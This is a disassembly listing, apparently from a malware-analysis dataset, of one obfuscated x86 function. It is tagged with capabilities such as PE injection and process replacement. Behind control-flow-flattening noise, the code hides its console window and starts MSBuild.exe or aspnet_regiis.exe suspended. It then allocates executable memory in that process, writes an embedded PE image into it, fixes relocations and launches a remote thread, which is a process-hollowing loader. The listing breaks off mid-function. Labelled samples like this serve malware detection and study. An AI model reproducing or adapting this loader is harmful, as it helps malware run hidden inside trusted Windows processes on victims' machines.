Function at 0x1000c760
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [0x10087080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x180], 0xcc2f834b
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
sub eax, 0x8308dee1
je 0x1000e691
jmp 0x1000c79c
mov eax, dword [ebp - 0x184]
sub eax, 0x8408bb91
je 0x1000da4d
jmp 0x1000c7b2
mov eax, dword [ebp - 0x184]
sub eax, 0x85063a85
je 0x1000e075
jmp 0x1000c7c8
mov eax, dword [ebp - 0x184]
sub eax, 0x86ab5404
je 0x1000d6aa
jmp 0x1000c7de
mov eax, dword [ebp - 0x184]
sub eax, 0x8ca464f8
je 0x1000d653
jmp 0x1000c7f4
mov eax, dword [ebp - 0x184]
sub eax, 0x8fb17394
je 0x1000d4c4
jmp 0x1000c80a
mov eax, dword [ebp - 0x184]
sub eax, 0x905aa554
je 0x1000eab3
jmp 0x1000c820
mov eax, dword [ebp - 0x184]
sub eax, 0x937458ae
je 0x1000df51
jmp 0x1000c836
mov eax, dword [ebp - 0x184]
sub eax, 0x95f95768
je 0x1000e3e9
jmp 0x1000c84c
mov eax, dword [ebp - 0x184]
sub eax, 0x9686c991
je 0x1000e76d
jmp 0x1000c862
mov eax, dword [ebp - 0x184]
sub eax, 0x983e401f
je 0x1000d3a0
jmp 0x1000c878
mov eax, dword [ebp - 0x184]
sub eax, 0x9b942260
je 0x1000d7cb
jmp 0x1000c88e
mov eax, dword [ebp - 0x184]
sub eax, 0x9c8a2176
je 0x1000ea06
jmp 0x1000c8a4
mov eax, dword [ebp - 0x184]
sub eax, 0x9e792a4f
je 0x1000e8a5
jmp 0x1000c8ba
mov eax, dword [ebp - 0x184]
sub eax, 0x9f665cdf
je 0x1000e3da
jmp 0x1000c8d0
mov eax, dword [ebp - 0x184]
sub eax, 0x9f66814a
je 0x1000d347
jmp 0x1000c8e6
mov eax, dword [ebp - 0x184]
sub eax, 0x9fa1b774
je 0x1000e8b4
jmp 0x1000c8fc
mov eax, dword [ebp - 0x184]
sub eax, 0xa387bf3e
je 0x1000ded7
jmp 0x1000c912
mov eax, dword [ebp - 0x184]
sub eax, 0xa4832607
je 0x1000d941
jmp 0x1000c928
mov eax, dword [ebp - 0x184]
sub eax, 0xa631483b
je 0x1000e9eb
jmp 0x1000c93e
mov eax, dword [ebp - 0x184]
sub eax, 0xa79c070c
je 0x1000de83
jmp 0x1000c954
mov eax, dword [ebp - 0x184]
sub eax, 0xaa3bb7f2
je 0x1000e77c
jmp 0x1000c96a
mov eax, dword [ebp - 0x184]
sub eax, 0xab53f094
je 0x1000ddb7
jmp 0x1000c980
mov eax, dword [ebp - 0x184]
sub eax, 0xac859731
je 0x1000e682
jmp 0x1000c996
mov eax, dword [ebp - 0x184]
sub eax, 0xad2ca97c
je 0x1000e7e6
jmp 0x1000c9ac
mov eax, dword [ebp - 0x184]
sub eax, 0xb0f4889e
je 0x1000d1bc
jmp 0x1000c9c2
mov eax, dword [ebp - 0x184]
sub eax, 0xb3c23cf7
je 0x1000e0eb
jmp 0x1000c9d8
mov eax, dword [ebp - 0x184]
sub eax, 0xb74ff1d8
je 0x1000ea6a
jmp 0x1000c9ee
mov eax, dword [ebp - 0x184]
sub eax, 0xb890318d
je 0x1000deb6
jmp 0x1000ca04
mov eax, dword [ebp - 0x184]
sub eax, 0xbb12a5df
je 0x1000de92
jmp 0x1000ca1a
mov eax, dword [ebp - 0x184]
sub eax, 0xbb3405ae
je 0x1000d6f0
jmp 0x1000ca30
mov eax, dword [ebp - 0x184]
sub eax, 0xbdf2612a
je 0x1000ea9e
jmp 0x1000ca46
mov eax, dword [ebp - 0x184]
sub eax, 0xc4ec6cfc
je 0x1000dc8e
jmp 0x1000ca5c
mov eax, dword [ebp - 0x184]
sub eax, 0xc525b91f
je 0x1000d5b1
jmp 0x1000ca72
mov eax, dword [ebp - 0x184]
sub eax, 0xcc21ac34
je 0x1000e317
jmp 0x1000ca88
mov eax, dword [ebp - 0x184]
sub eax, 0xcc2f834b
je 0x1000d0bd
jmp 0x1000ca9e
mov eax, dword [ebp - 0x184]
sub eax, 0xd25603b2
je 0x1000e38d
jmp 0x1000cab4
mov eax, dword [ebp - 0x184]
sub eax, 0xd5f0df74
je 0x1000dd17
jmp 0x1000caca
mov eax, dword [ebp - 0x184]
sub eax, 0xd77f3a38
je 0x1000e326
jmp 0x1000cae0
mov eax, dword [ebp - 0x184]
sub eax, 0xd90682bd
je 0x1000e9dc
jmp 0x1000caf6
mov eax, dword [ebp - 0x184]
sub eax, 0xda27c9cd
je 0x1000de44
jmp 0x1000cb0c
mov eax, dword [ebp - 0x184]
sub eax, 0xdc060660
je 0x1000d533
jmp 0x1000cb22
mov eax, dword [ebp - 0x184]
sub eax, 0xdd3e678c
je 0x1000d231
jmp 0x1000cb38
mov eax, dword [ebp - 0x184]
sub eax, 0xe404826f
je 0x1000e496
jmp 0x1000cb4e
mov eax, dword [ebp - 0x184]
sub eax, 0xe5769b57
je 0x1000df7c
jmp 0x1000cb64
mov eax, dword [ebp - 0x184]
sub eax, 0xe886190b
je 0x1000dbe0
jmp 0x1000cb7a
mov eax, dword [ebp - 0x184]
sub eax, 0xe8b12578
je 0x1000e335
jmp 0x1000cb90
mov eax, dword [ebp - 0x184]
sub eax, 0xec44e63e
je 0x1000e9be
jmp 0x1000cba6
mov eax, dword [ebp - 0x184]
sub eax, 0xec911de5
je 0x1000d3db
jmp 0x1000cbbc
mov eax, dword [ebp - 0x184]
sub eax, 0xf080fc09
je 0x1000e3a8
jmp 0x1000cbd2
mov eax, dword [ebp - 0x184]
sub eax, 0xf15c242e
je 0x1000df42
jmp 0x1000cbe8
mov eax, dword [ebp - 0x184]
sub eax, 0xf33a09e5
je 0x1000e6af
jmp 0x1000cbfe
mov eax, dword [ebp - 0x184]
sub eax, 0xfb7b9f87
je 0x1000e46c
jmp 0x1000cc14
mov eax, dword [ebp - 0x184]
sub eax, 0xfc5f943f
je 0x1000e985
jmp 0x1000cc2a
mov eax, dword [ebp - 0x184]
sub eax, 0xfe852064
je 0x1000d0e7
jmp 0x1000cc40
mov eax, dword [ebp - 0x184]
sub eax, 0x29ee76f
je 0x1000db3e
jmp 0x1000cc56
mov eax, dword [ebp - 0x184]
sub eax, 0x6cc81af
je 0x1000e0ca
jmp 0x1000cc6c
mov eax, dword [ebp - 0x184]
sub eax, 0x8ef407e
je 0x1000e9a3
jmp 0x1000cc82
mov eax, dword [ebp - 0x184]
sub eax, 0x10b98a22
je 0x1000d8cb
jmp 0x1000cc98
mov eax, dword [ebp - 0x184]
sub eax, 0x15f479ab
je 0x1000dc20
jmp 0x1000ccae
mov eax, dword [ebp - 0x184]
sub eax, 0x1a73a5ad
je 0x1000e1cf
jmp 0x1000ccc4
mov eax, dword [ebp - 0x184]
sub eax, 0x1f5f5dbf
je 0x1000de5c
jmp 0x1000ccda
mov eax, dword [ebp - 0x184]
sub eax, 0x23254cb0
je 0x1000dbd1
jmp 0x1000ccf0
mov eax, dword [ebp - 0x184]
sub eax, 0x25e6f359
je 0x1000d43f
jmp 0x1000cd06
mov eax, dword [ebp - 0x184]
sub eax, 0x2c82561a
je 0x1000e994
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x180], 0xfe852064
jmp 0x1000eabd
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10009fb0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10009fb0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x58000
call fcn.10009e00
add esp, 8
lea eax, section..data
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x124]
movzx edx, word [eax]
mov eax, 0x431cfc74
mov ecx, 0xb0f4889e
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x180], 0x6cb5d053
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34631461
mov ecx, 0x3da7cb69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x46f866ac
jmp 0x1000eabd
mov al, byte [ebp - 0xed]
and al, 1
mov byte [ebp - 0x12d], al
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [ebp - 0x134], eax
mov dl, byte [ebp - 0x12d]
mov eax, 0xec911de5
mov ecx, 0x8fb17394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x180], 0x65a8ffe6
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
mov edx, ecx
sub edx, 0x65ec30ed
sub edx, 1
add edx, 0x65ec30ed
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfc5f943f
mov ecx, 0x31d05ff3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov edx, dword [ebp - 0x134]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x180], 0xdc060660
jmp 0x1000eabd
mov edx, dword [ebp - 0xec]
mov eax, 0x9fa1b774
mov ecx, 0x74d0b804
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.1000bf70
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x128]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x180], 0x30b63520
jmp 0x1000eabd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x180], 0x61494998
jmp 0x1000eabd
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x120]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x180], 0xbb3405ae
jmp 0x1000eabd
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov ecx, dword [ebp - 0x128]
movzx ecx, word [ecx + 0x14]
add eax, ecx
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x128]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov ecx, dword [ebp - 0x128]
movzx ecx, word [ecx + 0x14]
add eax, 0x4be89e4b
add eax, ecx
sub eax, 0x4be89e4b
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x16c], 0
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x51460bfc
jmp 0x1000eabd
mov eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x174], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x164]
imul edx, dword [ebp - 0x174], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
add eax, 0x672108bf
add eax, ecx
sub eax, 0x672108bf
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x180], 0x6271781a
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
mov edx, ecx
add edx, 0xfb40bca3
sub edx, 1
sub edx, 0xfb40bca3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2c82561a
mov ecx, 0xa4832607
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x174], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x178]
sub eax, 0x3fcba1d
add eax, ecx
add eax, 0x3fcba1d
mov dword [ebp - 0xc8], eax
mov eax, dword [0x1008853c]
mov ecx, dword [0x10088538]
mov edx, eax
add edx, 0x669be93b
sub edx, 1
sub edx, 0x669be93b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c82561a
mov ecx, 0x4f0d5281
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xc8]
cmp eax, ecx
setbe al
and al, 1
mov byte [ebp - 0xc1], al
mov eax, dword [0x1008853c]
mov ecx, dword [0x10088538]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8ef407e
mov ecx, 0x5fae6655
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x164]
imul edx, dword [ebp - 0x174], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x164]
imul ecx, dword [ebp - 0x174], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0xb8], eax
mov eax, dword [0x1008853c]
mov ecx, dword [0x10088538]
mov edx, eax
add edx, 0x9ad2ee08
sub edx, 1
sub edx, 0x9ad2ee08
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xec44e63e
mov ecx, 0x23254cb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xe886190b
jmp 0x1000eabd
mov eax, dword [ebp - 0xb8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xbc]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0xc0]
add eax, ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x180], 0x57988949
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x43f97247
mov ecx, 0xc4ec6cfc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x174]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xb4], eax
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
mov edx, ecx
add edx, 0x8db6d5f6
sub edx, 1
sub edx, 0x8db6d5f6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x43f97247
mov ecx, 0xd5f0df74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x6b23f8f1
jmp 0x1000eabd
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0xb0], eax
mov eax, dword [0x1008853c]
mov ecx, dword [0x10088538]
mov edx, eax
add edx, 0x2e2a47fe
sub edx, 1
sub edx, 0x2e2a47fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd90682bd
mov ecx, 0x3a0abe1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x180], 0x1f5f5dbf
jmp 0x1000eabd
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x128]
mov eax, 0x95f95768
mov ecx, 0xa79c070c
cmp edx, dword [esi + 0x34]
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xbb12a5df
jmp 0x1000eabd
mov eax, dword [ebp - 0x16c]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0xa5], al
mov dword [ebp - 0x180], 0xb890318d
jmp 0x1000eabd
mov dl, byte [ebp - 0xa5]
mov eax, 0x9f665cdf
mov ecx, 0xa387bf3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x16c]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax + 4]
add ecx, 0xd4d08ee2
sub ecx, 8
sub ecx, 0xd4d08ee2
shr ecx, 1
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x128]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x180], 0xf15c242e
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x937458ae
jmp 0x1000eabd
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x180], 0xe5769b57
jmp 0x1000eabd
mov eax, dword [0x1008853c]
mov ecx, dword [0x10088538]
mov edx, eax
sub edx, 0xe0bed7aa
sub edx, 1
add edx, 0xe0bed7aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa631483b
mov ecx, 0x51762d70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x114]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0xaa3c2d44
or eax, edx
or ecx, 0xaa3c2d44
xor eax, 0xffffffff
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x99], al
mov dword [ebp - 0x180], 0x6cc81af
jmp 0x1000eabd
mov dl, byte [ebp - 0x99]
mov eax, 0xe8b12578
mov ecx, 0xb3c23cf7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x16c]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x180], 0x39f3bdec
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9c8a2176
mov ecx, 0x6821707e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xd77f3a38
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xe8b12578
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x467a72f8
jmp 0x1000eabd
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x180], 0xf080fc09
jmp 0x1000eabd
mov eax, dword [ebp - 0x16c]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x88]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x180], 0xbb12a5df
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x95f95768
jmp 0x1000eabd
mov ecx, dword [ebp - 0x138]
sub ecx, 0x11c53337
add ecx, 8
add ecx, 0x11c53337
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 0xc4]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x180], 0x2c9ab4a6
jmp 0x1000eabd
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x128]
add eax, 0x18
add eax, 0x60
add eax, 0x48
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x180], 0xe404826f
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb74ff1d8
mov ecx, 0x58ce7fc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x8308dee1
jmp 0x1000eabd
mov edx, dword [ebp - 0x78]
mov eax, 0x9686c991
mov ecx, 0xf33a09e5
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x128]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add ecx, 0xc9482ae0
add ecx, eax
sub ecx, 0xc9482ae0
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x1c
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x180], 0x6117a582
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xaa3bb7f2
jmp 0x1000eabd
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x180], 0x2e7daf12
jmp 0x1000eabd
mov ecx, dword [0x1008853c]
mov eax, dword [0x10088538]
mov edx, ecx
add edx, 0x9e74f992
sub edx, 1
sub edx, 0x9e74f992
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x905aa554
mov ecx, 0x407e1397
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x9fa1b774
jmp 0x1000eabd
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x180], 0x3c5ab818
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x25e6f359
jmp 0x1000eabd
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x180], 0x8408bb91
jmp 0x1000eabd
mov dword [ebp - 0x180], 0x29ee76f
jmp 0x1000eabd
mov dword [ebp - 0x180], 0xab53f094
jmp 0x1000eabd
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x180], 0x51762d70
jmp 0x1000eabd
mov eax, dword [ebp - 0x118]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
